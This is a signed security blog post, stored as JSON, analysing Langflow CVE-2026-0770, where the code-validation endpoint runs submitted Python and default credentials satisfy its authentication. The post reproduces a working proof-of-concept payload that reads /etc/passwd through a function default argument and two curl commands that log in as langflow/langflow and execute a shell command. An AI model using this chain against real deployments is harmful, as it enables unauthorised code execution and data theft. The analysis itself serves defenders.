-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The validator validates by executing\n\nThe endpoint at `POST /api/v1/validate/code` accepts a JSON body of the shape `{\"code\": \"\"}` and returns a `CodeValidationResponse` describing whether the imports resolved and whether the function definitions compiled. The implementation is in `src/backend/base/langflow/utils/validate.py`. In Langflow 1.4.2 (the version the CVE names as affected), the function reads:\n\n```python\ndef validate_code(code):\n errors = {\"imports\": {\"errors\": []}, \"function\": {\"errors\": []}}\n\n try:\n tree = ast.parse(code)\n except Exception as e: # noqa: BLE001\n errors[\"function\"][\"errors\"].append(str(e))\n return errors\n\n add_type_ignores()\n tree.type_ignores = []\n\n # Evaluate the import statements\n for node in tree.body:\n if isinstance(node, ast.Import):\n for alias in node.names:\n try:\n importlib.import_module(alias.name)\n except ModuleNotFoundError as e:\n errors[\"imports\"][\"errors\"].append(str(e))\n\n # Evaluate the function definition\n for node in tree.body:\n if isinstance(node, ast.FunctionDef):\n code_obj = compile(ast.Module(body=[node], type_ignores=[]), \"\", \"exec\")\n try:\n exec(code_obj)\n except Exception as e: # noqa: BLE001\n errors[\"function\"][\"errors\"].append(str(e))\n\n return errors\n```\n\nThe comment on line 50 says `Evaluate the function definition`. The implementation of *evaluate* on the next two lines is `compile` plus `exec`. The validator does not inspect the AST for forbidden names. It does not check for `__import__`, `eval`, `subprocess`, `os.system`, or any other token a sandbox author would blocklist. It does not look at the function body at all. It compiles the `FunctionDef` AST node into a code object and runs that code object in the current process. The validation result is whether any of those steps raised an exception. This is the [content-is-command](/patterns/content-is-command) shape at its purest: the route is named `/validate/code`, the function it calls is named `validate_code`, and the implementation of *validate* on user-supplied Python source is to feed it to the Python interpreter and report what happens.\n\nThe exception handler does one more thing. It catches `Exception`, calls `str(e)` on the caught instance, and appends the string to `errors[\"function\"][\"errors\"]`. That list is the `function.errors` field of the JSON response. Anything the executed code raises, with whatever message the executed code attached, is reflected back to the caller in the response body.\n\nThe `# noqa: BLE001` is ruff's rule against blind `except Exception`. The author who wrote the suppression knew the catch was broader than the lint rule wanted. The suppression is what makes the validator's response include any exception's string representation regardless of what the code did to produce it. The exfiltration channel for the executed code is the lint suppression.\n\n## The 2025 patch was three lines\n\nCVE-2025-3248 was disclosed on March 5, 2025. Horizon3 found it. CISA added it to the Known Exploited Vulnerabilities catalog within weeks. The Flodrix botnet weaponized it before most operators had patched. The vendor's fix was committed the same day, in `faac4db1`:\n\n```diff\n from fastapi import APIRouter, HTTPException\n from loguru import logger\n\n+from langflow.api.utils import CurrentActiveUser\n from langflow.api.v1.base import Code, CodeValidationResponse, PromptValidationResponse, ValidatePromptRequest\n from langflow.base.prompts.api_utils import process_prompt_template\n from langflow.utils.validate import validate_code\n\n router = APIRouter(prefix=\"/validate\", tags=[\"Validate\"])\n\n\n @router.post(\"/code\", status_code=200)\n-async def post_validate_code(code: Code) -> CodeValidationResponse:\n+async def post_validate_code(code: Code, _current_user: CurrentActiveUser) -> CodeValidationResponse:\n try:\n errors = validate_code(code.code)\n```\n\nThree lines added, two of which are imports. The body of `post_validate_code` is unchanged. The body of `validate_code` is unchanged. The `exec(code_obj)` is unchanged. The vendor's response to a CVSS 9.8 known-exploited remote code execution in a code-validation endpoint was to require that the caller be authenticated. There is no discussion in the commit, the PR (#6911), or the surrounding tests of whether code submitted to a `validate/code` endpoint should be `exec`'d. The patch's premise is that an authenticated user is allowed to run code as root inside the Langflow container, because the endpoint was designed for them to.\n\nThat premise is consistent with Langflow's product. Langflow is an AI workflow editor whose components are user-authored Python classes. The platform's value proposition is that a developer types a Python class into a Monaco editor in the browser, and the server compiles and runs it. The `validate/code` endpoint exists because the Monaco editor needs feedback while the developer types. The bug class is not that the endpoint runs code; the bug class is that the trust boundary around it is wrong.\n\nCVE-2026-0770 is what happens when the patch closes the trust-boundary half and leaves the runs-code half.\n\n## The default username and password are both `langflow`\n\nThe CVE-2026-0770 PoC, [Ez4rd1x1/CVE-2026-0770](https://github.com/Ez4rd1x1/CVE-2026-0770), is structured as a class with a `login()` method that runs before the exploit method. The login attempt is fixed:\n\n```python\ndef login(self) -> Optional[str]:\n login_url = urljoin(self.target_url, \"/api/v1/login\")\n response = self.session.post(\n login_url,\n data={\"username\": \"langflow\", \"password\": \"langflow\"},\n timeout=15\n )\n ...\n```\n\nThe credentials are not configurable through the command line. They are not read from a file. They are not sniffed or harvested. They are hardcoded. The PoC author tried `langflow:langflow` against a Langflow instance and it worked.\n\n`src/backend/base/langflow/services/settings/constants.py`:\n\n```python\nDEFAULT_SUPERUSER = \"langflow\"\nDEFAULT_SUPERUSER_PASSWORD = \"langflow\" # noqa: S105\n```\n\n`src/backend/base/langflow/services/settings/auth.py`:\n\n```python\nclass AuthSettings(BaseSettings):\n ...\n AUTO_LOGIN: bool = True\n NEW_USER_IS_ACTIVE: bool = False\n SUPERUSER: str = DEFAULT_SUPERUSER\n SUPERUSER_PASSWORD: str = DEFAULT_SUPERUSER_PASSWORD\n```\n\nThe package ships with `AUTO_LOGIN: bool = True`. The same file declares a pydantic field validator on the credential fields:\n\n```python\n@field_validator(\"SUPERUSER\", \"SUPERUSER_PASSWORD\", mode=\"before\")\n@classmethod\ndef validate_superuser(cls, value, info):\n if info.data.get(\"AUTO_LOGIN\"):\n if value != DEFAULT_SUPERUSER:\n value = DEFAULT_SUPERUSER\n logger.debug(\"Resetting superuser to default value\")\n if info.data.get(\"SUPERUSER_PASSWORD\") != DEFAULT_SUPERUSER_PASSWORD:\n info.data[\"SUPERUSER_PASSWORD\"] = DEFAULT_SUPERUSER_PASSWORD\n logger.debug(\"Resetting superuser password to default value\")\n return value\n return value\n```\n\nThe validator runs every time the settings are constructed. If `AUTO_LOGIN` is true, and the operator set `LANGFLOW_SUPERUSER` or `LANGFLOW_SUPERUSER_PASSWORD` to anything other than `langflow`, the validator overrides the configured value back to `langflow` and logs `Resetting superuser to default value` at debug level. An operator who sets a real password while leaving auto-login enabled will find the password silently reverted on every restart. The configured value, the setting the operator wrote in their `.env` or their Helm chart or their `docker run` command, is overwritten by the field validator before any code reads it. The log message is at debug level, which is off by default. An operator who reads the docs and changes the superuser password experiences no visible change to their cluster.\n\nThe 2025 patch added a `Depends(get_current_active_user)` to a code-execution endpoint. The default deployment has a superuser whose credentials are two identical hardcoded strings. The login endpoint accepts those credentials and returns a JWT. The JWT satisfies the dependency the 2025 patch added. The credentials cannot be overridden without first turning off auto-login, an operation the documentation describes as \"production hardening\" and the default Docker image does not perform.\n\n## The function body is `pass`\n\nThe PoC's payload is the part that earns the \"Inclusion of Functionality from Untrusted Control Sphere\" framing the CVE record uses:\n\n```python\ndef Zardy1x1(\n _ = (lambda r: (_ for _ in ()).throw(\n Exception(f\"CMD_OUTPUT_START\\n{r.stdout}\\n{r.stderr}\\nCMD_OUTPUT_END\")\n ))(\n __import__(\"subprocess\").run(\n 'cat /etc/passwd',\n shell=True,\n capture_output=True,\n text=True,\n timeout=30\n )\n )\n):\n pass\n```\n\nWhat the validator sees is a function definition. The function is named `Zardy1x1`. It has one parameter, `_`, with a default value. The function body is `pass`. An AST walker that checked only the function's body for forbidden constructs would see nothing to forbid.\n\nWhat Python evaluates when the `def` statement runs is different from what the function body contains. Default-argument expressions are evaluated at function-definition time, in the enclosing scope, before the function object is created. The default-argument expression here is `(lambda r: ...)(__import__(\"subprocess\").run('cat /etc/passwd', shell=True, capture_output=True, text=True, timeout=30))`. Python evaluates that expression in argument-binding order:\n\n1. `__import__(\"subprocess\").run(...)` runs first. The shell command executes. Python receives a `CompletedProcess` with `.stdout` and `.stderr` populated.\n2. The lambda is called with that `CompletedProcess` as `r`.\n3. Inside the lambda, `(_ for _ in ())` creates a generator-expression object that, if iterated, would produce nothing.\n4. `.throw(Exception(...))` is called on the not-yet-started generator. `generator.throw()` on an inactive generator raises the supplied exception immediately in the caller's frame. The exception's message is the f-string `f\"CMD_OUTPUT_START\\n{r.stdout}\\n{r.stderr}\\nCMD_OUTPUT_END\"`.\n5. The exception propagates out of the default-argument expression, out of the `def` statement, and out of the `exec(code_obj)` call. The `try/except` block in `validate_code` catches it.\n6. `str(e)` produces a string that contains the captured stdout and stderr between the `CMD_OUTPUT_START` and `CMD_OUTPUT_END` markers.\n7. The string is appended to `errors[\"function\"][\"errors\"]`.\n8. The endpoint returns a 200 response with the string in the JSON payload.\n\nThe function `Zardy1x1` never runs. There is no call site for it. The function body is `pass`. The exploit is the *act of defining* the function: the side-effect computation that Python performs to bind the default argument is the read primitive, and the artificial exception is the write primitive that carries the read's result back across the API boundary. The validator's `compile(...)` step parses the `FunctionDef` AST and emits bytecode whose first instruction is to evaluate the default expression and bind it to the function's `__defaults__` tuple. The `exec(code_obj)` step runs that bytecode. The validator has nothing to inspect: the bytecode evaluating the default is well-formed Python that any compiler would emit for any function with a default argument.\n\nA real validator for \"is this a syntactically valid component\" would `ast.parse` the code and check that nothing dangerous appears in the AST. The Langflow validator parses, then compiles, then executes. The validation result is \"did execution raise.\"\n\n## The fix is to hide the endpoint from the OpenAPI schema\n\nOn February 10, 2026, eighteen days after NVD published CVE-2026-0770, Langflow committed `e87870735` with the title `docs: draft hide internal endpoints in spec`. The relevant diff:\n\n```diff\n-@router.post(\"/code\", status_code=200, dependencies=[Depends(get_current_active_user)])\n+@router.post(\"/code\", status_code=200, dependencies=[Depends(get_current_active_user)], include_in_schema=False)\n async def post_validate_code(code: Code) -> CodeValidationResponse:\n try:\n errors = validate_code(code.code)\n```\n\n`include_in_schema=False` is a FastAPI flag that excludes the route from the auto-generated OpenAPI specification. The endpoint is reachable. The endpoint still calls `validate_code`. `validate_code` still calls `exec(code_obj)`. The default credentials still log in. The PoC, which hardcodes the URL `/api/v1/validate/code`, still works.\n\nThe vendor's response to a CVE for a code-execution endpoint was to remove the endpoint from the documentation of code-execution endpoints. The commit message includes `test-hide-internal-endpoints` and `hide-more-endpoints` from the branch's local commits, the wording that an engineer types when the task is \"make this not appear in the spec.\"\n\nThis is the [unpatchable-primitive](/patterns/unpatchable-primitive) shape made explicit. CVE-2025-3248 was patched by adding authentication. CVE-2026-33017 was patched by [threading a `source_flow_id` argument through the build pipeline so caller-supplied flow data is ignored downstream](/posts/langflow-flow-id-authorized-data-ran). CVE-2026-0770 was patched by hiding the endpoint from the OpenAPI spec. The three patches do not touch the function the three CVEs reach. The function compiles and runs caller-supplied Python; the function is what Langflow does.\n\nThe pattern catalog calls this a [design-debt-driver](/patterns/design-debt-driver). The reading from the post on CVE-2026-33017 still holds: Langflow's product is a UI that lets users author Python components and a server that `exec`s them, and every endpoint that touches a flow is an entry into the same primitive. The third entry the project has now produced is `validate/code`, and the response to its CVE is the response a project gives when the substrate cannot be defended directly.\n\n## The login endpoint accepts the password the vendor ships\n\nA defender reading this post and looking at their Langflow deployment should run two commands. First:\n\n```bash\ncurl -sS -X POST http://:7860/api/v1/login \\\n -H 'Content-Type: application/x-www-form-urlencoded' \\\n -d 'username=langflow&password=langflow'\n```\n\nA response containing `access_token` means the deployment is running with auto-login and default credentials. The auth gate the 2025 patch added is satisfied by anyone who can reach the login endpoint. Second:\n\n```bash\ncurl -sS -X POST http://:7860/api/v1/validate/code \\\n -H \"Authorization: Bearer \" \\\n -H 'Content-Type: application/json' \\\n -d '{\"code\":\"def f(_=__import__(\\\"os\\\").system(\\\"id > /tmp/proof\\\")): pass\"}'\n```\n\nA 200 response means the function-definition statement ran. `/tmp/proof` inside the container will contain the output of `id`. The exec is the function. The validator validates by executing. The 2025 patch fixed the door. The room is the same room.\n\nPoC: [Ez4rd1x1/CVE-2026-0770](https://github.com/Ez4rd1x1/CVE-2026-0770)","closing_line":"The 2025 patch added a lock to the validate door. AUTO_LOGIN ships the key. The exec is the room.","hook_md":"On March 5, 2025, Langflow committed `faac4db1` to close CVE-2025-3248. The diff is three lines. Two of them are imports. The third adds `_current_user: CurrentActiveUser` to the signature of `post_validate_code`. The function body did not change. The library function `validate_code` it calls did not change. The `exec(code_obj)` call inside `validate_code` did not change. The 2025 patch was an authentication dependency around a code-execution primitive nobody disputed was there.\n\nEleven months later, ZDI assigned CVE-2026-0770. Trend Micro's ZDI-26-036 advisory and NVD both describe an unauthenticated remote code execution against the `validate` endpoint, in Langflow 1.4.2, as `root`. The PoC opens with `requests.post(\"/api/v1/login\", data={\"username\": \"langflow\", \"password\": \"langflow\"})`.","post_id":294,"slug":"langflow-cve-2026-0770-validate-runs-the-code","title":"CVE-2026-0770: The validate Endpoint Compiles And Runs. The 2025 Patch Was An Auth Dependency. AUTO_LOGIN Ships True.","type":"initial","unreadable_sentence":"The function body is `pass`. The function-definition statement is the exploit."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaud+bwAKCRDeZjl4jgkQ JnNyAPwLYYoc0GrHP6UAQF7GNDEx6TS45bWKrREl9hoYA+J21wD/Xm2fj0TIZFog gMmFt9Y1jvjicZai02jNKksNyvgN6wE= =xVKo -----END PGP SIGNATURE-----